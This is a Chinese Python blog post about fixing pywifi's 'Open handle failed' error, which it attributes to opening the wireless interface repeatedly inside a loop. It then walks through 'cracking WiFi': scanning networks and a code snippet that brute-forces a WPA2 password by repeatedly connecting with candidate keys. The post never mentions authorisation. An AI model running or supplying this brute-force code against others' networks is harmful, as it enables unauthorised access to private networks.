Python pywifi ERROR Open handle failed問題及解決
Python pywifi ERROR Open handle failed
這個問題的網(wǎng)上的資料很少,可能是因為簡單吧。這里記錄下解決辦法。
直接上引發(fā)問題的代碼:
wifi = pywifi.PyWiFi() ? #定義接口操作 iface = wifi.interfaces()[0] ?#獲取無線網(wǎng)卡句柄
這兩行代碼實現(xiàn)了獲取系統(tǒng)的無線網(wǎng)卡句柄的功能。可以看到后續(xù)的所有WIFI操作不管是連接還是端開都是在通過操作 iface 這個句柄整個句柄來完成的
但是切記,不管你是想去做暴力破解某個WIFI,還是想做什么WIFI連接測試,不要把這兩行放在循環(huán)體里。
在整個的循環(huán)過程中,保證這兩行代碼只會被執(zhí)行到一次。后續(xù)的動作都只基于這一次獲取到的iface來執(zhí)行
如果要是多次執(zhí)行了這兩行代碼(尤其是放在了循環(huán)體里),在一定次數(shù)后,就會報ERROR Open handle failed的錯誤。
Python語法之pywifi
pywifi安裝
- 拿到pywifi文件夾
- 如果有pip環(huán)境變量就直接cd進入pywifi目錄
- 輸入pip install .
- 如果沒有環(huán)境變量就cd進pip的目錄
- 然后pip install pywifi目錄
破解WiFi的步驟
1. 抓取無線網(wǎng)卡
pywifi.set_loglevel(logging.INFO) ? # 輸出日志 wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 ifaceList = wifi.interfaces() ? # 抓取無線網(wǎng)卡列表 iface = ifaceList[0] # 如果有無線網(wǎng)卡第一個一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 iface = wifi.interfaces()[0] ? # 抓取無線網(wǎng)卡列表 iface.scan() # 掃描 time.sleep(5) bsses = iface.scan_results() ? ?# 掃描到的結果 for pjwifi in bsses: ? ? print(pjwifi.ssid) ?# 所有WiFi名 ? ? print(pjwifi.bssid) # mac地址 ? ? print(pjwifi.signal) ? ?# 信號強度(值越大信號越強)
3. 測試網(wǎng)卡狀態(tài)
iface = wifi.interfaces()[0] iface.status()--> const.IFACE_DISCONNECTED:0沒有連接 const.IFACE_INACTIVE:2沒有激活 const.IFACE_CONNECTED:1連接好了
4. 針對某一WiFi進行密碼爆破
'''爆破密碼''' profile = pywifi.Profile() ?# 創(chuàng)建wifi鏈接文件 profile.ssid = wifiName ?# wifi名稱,不加會報錯 profile.auth = const.AUTH_ALG_OPEN ?# 網(wǎng)卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK) ?# wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ?# 加密單元 profile.key = pwd ?# 密碼 self.iface.remove_all_network_profiles() ?# 刪除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) ?# 設定新的鏈接文件 self.iface.connect(tmp_profile) ?# 鏈接 time.sleep(5) connectStatus = self.iface.status() == const.IFACE_CONNECTED self.iface.disconnect() ?# 斷開連接 time.sleep(1)
總結
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關文章
Python基于Google?Bard實現(xiàn)交互式聊天機器人
這篇文章主要為大家介紹了Python基于Google?Bard實現(xiàn)交互式聊天機器人示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進步,早日升職加薪2023-03-03python中文分詞+詞頻統(tǒng)計的實現(xiàn)步驟
詞頻統(tǒng)計就是輸入一段句子或者一篇文章,然后統(tǒng)計句子中每個單詞出現(xiàn)的次數(shù),下面這篇文章主要給大家介紹了關于python中文分詞+詞頻統(tǒng)計的相關資料,需要的朋友可以參考下2022-06-06Pandas數(shù)據(jù)操作及數(shù)據(jù)分析常用技術介紹
Pandas是Python中用于數(shù)據(jù)處理和數(shù)據(jù)分析的庫,具有強大的數(shù)據(jù)操作和分析功能,包括數(shù)據(jù)清洗、轉換、篩選、聚合等。常用技術有數(shù)據(jù)讀取與寫入、數(shù)據(jù)索引、數(shù)據(jù)切片、數(shù)據(jù)合并、數(shù)據(jù)透視表、數(shù)據(jù)可視化等,適用于各種數(shù)據(jù)分析和機器學習任務2023-04-04pyqt4教程之實現(xiàn)windows窗口小示例分享
這篇文章主要介紹了pyqt4實現(xiàn)windows窗口小示例,需要的朋友可以參考下2014-03-03python實現(xiàn)簡單學生信息管理系統(tǒng)
這篇文章主要為大家詳細介紹了python簡單的學生信息管理系統(tǒng),文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下2020-04-04